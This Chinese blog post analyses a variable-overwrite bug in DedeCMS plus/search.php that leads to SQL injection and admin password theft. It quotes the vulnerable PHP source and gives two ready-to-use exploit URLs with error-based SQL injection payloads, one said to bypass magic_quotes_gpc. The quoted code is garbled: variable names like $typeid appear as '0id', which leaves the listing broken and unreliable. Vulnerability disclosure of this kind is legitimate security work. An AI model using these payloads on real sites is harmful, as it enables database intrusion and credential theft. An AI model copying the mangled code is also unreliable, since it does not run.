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微博上看到就分析了一下,這個(gè)漏洞不止一處地方可以被利用.其實(shí)可以無(wú)視magic_quotes_gpc = On的時(shí)候.真心不雞肋.
作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在變量覆蓋漏洞,成功利用該漏洞可以獲取管理員密碼.
黑哥說(shuō)漏洞已補(bǔ).怪我沒(méi)有測(cè)試好.也沒(méi)用這個(gè)黑站…不過(guò)這個(gè)漏洞真心不錯(cuò),應(yīng)該有一定利用價(jià)值.標(biāo)題就不改了,補(bǔ)了就公開了吧.
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Dedecms最新版 plus/search.php 文件存在變量覆蓋漏洞,成功利用該漏洞可以獲取管理員密碼.
require_once(dirname(__FILE__).”/../include/common.inc.php”);
require_once(DEDEINC.”/arc.searchview.class.php”);
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby=”;
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = ”;
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找欄目信息
if(empty(0id))
{
0nameCacheFile = DEDEDATA.’/cache/typename.inc’;
if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
fwrite($fp, “<”.”?php\r\n”);
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, “\0Arr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
}
fwrite($fp, ‘?’.'>’);
fclose($fp);
}
//引入欄目緩存并看關(guān)鍵字是否有相關(guān)欄目?jī)?nèi)容
require_once(0nameCacheFile);
//0Arr這個(gè)數(shù)組是包含生成的臨時(shí)文件 里面定義的,由于dedecms的全局變量機(jī)制,我們可以自己定義一個(gè)
//
if(isset(0Arr) && is_array(0Arr))
{
foreach(0Arr as $id=>0name)
{
$keywordn = str_replace(0name, ‘ ‘, $keyword); //這個(gè)地方要繞過(guò)
if($keyword != $keywordn)
{
$keyword = $keywordn;
0id = $id; // 這里存在變量覆蓋漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 這句過(guò)濾成了擺設(shè)
break;
}
}
}
}
然后plus/search.php文件下面定義了一個(gè) Search類的對(duì)象 .
在arc.searchview.class.php 文件的SearchView類的構(gòu)造函數(shù) 聲明了一個(gè)TypeLink類.
$this->TypeLink = new TypeLink(0id);
TypeLink類的構(gòu)造函數(shù)沒(méi)有經(jīng)過(guò)過(guò)濾,(程序員以為前面已經(jīng)過(guò)濾過(guò)了… )直接帶入了sql語(yǔ)句.
class TypeLink
{
var 0Dir;
var $dsql;
var $TypeID;
var $baseDir;
var $modDir;
var $indexUrl;
var $indexName;
var $TypeInfos;
var $SplitSymbol;
var $valuePosition;
var $valuePositionName;
var $OptionArrayList;
//構(gòu)造函數(shù)///////
//php5構(gòu)造函數(shù)
function __construct(0id)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = 0id;
$this->valuePosition = ”;
$this->valuePositionName = ”;
$this->typeDir = ”;
$this->OptionArrayList = ”;
//載入類目信息
$query = “SELECT tp.*,ch.typename as
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
`#@__channeltype` ch
on ch.id=tp.channeltype WHERE tp.id=’0id’ “; //注射漏洞發(fā)生在這里,很明顯需要magic_quotes_gpc = Off 雞肋了嗎?好可以吧至少不需要會(huì)員中心阿
if(0id > 0)
{
$this->TypeInfos = $this->dsql->GetOne($query);
利用代碼一 需要 即使magic_quotes_gpc = Off
http:// /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
這只是其中一個(gè)利用代碼… Search 類的構(gòu)造函數(shù)再往下
……省略
$this->TypeID = 0id;
……省略
if($this->TypeID==”0″){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //這里的注入漏洞無(wú)視magic_quotes_gpc = On的存在哦親
//現(xiàn)在不雞肋了吧親…
$this->ChannelTypeid=$row['channeltype'];
}
利用代碼二,下面這個(gè)EXP 即使magic_quotes_gpc = On 也可以成功利用.
http:// /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
如果那個(gè)數(shù)據(jù)庫(kù)里存在內(nèi)容,就要考慮的復(fù)雜點(diǎn)了.我也沒(méi)考慮那么周全,分析了下然后簡(jiǎn)單測(cè)試了下,也沒(méi)用來(lái)黑站
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